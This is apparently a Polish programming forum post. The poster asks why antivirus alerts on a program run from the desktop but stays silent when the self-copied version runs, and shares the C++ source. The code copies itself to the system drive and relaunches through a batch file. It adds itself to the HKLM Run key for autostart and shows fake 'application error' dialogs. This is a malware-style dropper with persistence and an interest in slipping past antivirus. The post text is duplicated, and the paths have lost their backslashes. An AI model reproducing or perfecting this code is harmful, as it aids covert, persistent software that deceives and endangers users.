Witam
Tymrazemz niestety mam dość dziwny problem którego nie rozumiem...
Otóż stworzyłem aplikacje, która kopiuje pliczek a następnie dodaje ją do rejestru i teraz problem, AV pluje sie zawsze gdy odpalam np program z pulpitu ale kiedy odpalam ten skopiowany pliczek to AV się nie pluje i wszystko ładnie dodaje się do rejestru, dlaczego tak się dzieje mógłby mi ktoś wytłumaczć?
Tutaj daje kod
Kod:
Odrazu mówię, że wiem, że można było to zrobić bez batów ale testowalem i akurat ten kod mi się zachował ;d
Pozdro i z góry thx za pomoc
Tymrazemz niestety mam dość dziwny problem którego nie rozumiem...
Otóż stworzyłem aplikacje, która kopiuje pliczek a następnie dodaje ją do rejestru i teraz problem, AV pluje sie zawsze gdy odpalam np program z pulpitu ale kiedy odpalam ten skopiowany pliczek to AV się nie pluje i wszystko ładnie dodaje się do rejestru, dlaczego tak się dzieje mógłby mi ktoś wytłumaczć?
Tutaj daje kod
Kod:
Kod:
#include <iostream>
#include <fstream>
#include <cstring>
#include <windows.h>
using namespace std;
string a,b,c,d;
const WORD dl = 255;
DWORD buf=100;
char ty[1];
LPSTR Bufor = (LPSTR)GlobalAlloc(GPTR, dl);
int main(int argc, char **argv)
{
GetWindowsDirectory(Bufor,dl);
ty[0] = Bufor[0];
a = ty[0];
a = a + ":test12.exe";
CopyFileA(argv[0],a.c_str(),0);
if(argv[0] != a){
MessageBox(0,"TEST1","Błąd aplikacji",MB_OK | MB_ICONERROR);
ofstream fout("c:test56.BAT");
fout<<a;
fout.close();
system("c:test56.BAT");
system("DEL c:test56.BAT");
getchar();
}
else{
MessageBox(0,"TEST!","Błąd aplikacji",MB_OK | MB_ICONERROR);
c = "ADD "HKLMSoftwareMicrosoftWindowsCurrentVersionRun" /v "ULUMULU" /t REG_SZ /d "+ a +" /f";
ShellExecute(0,"open","reg",(c.c_str()),NULL,0);
}
return 0;
}
Odrazu mówię, że wiem, że można było to zrobić bez batów ale testowalem i akurat ten kod mi się zachował ;d
Pozdro i z góry thx za pomoc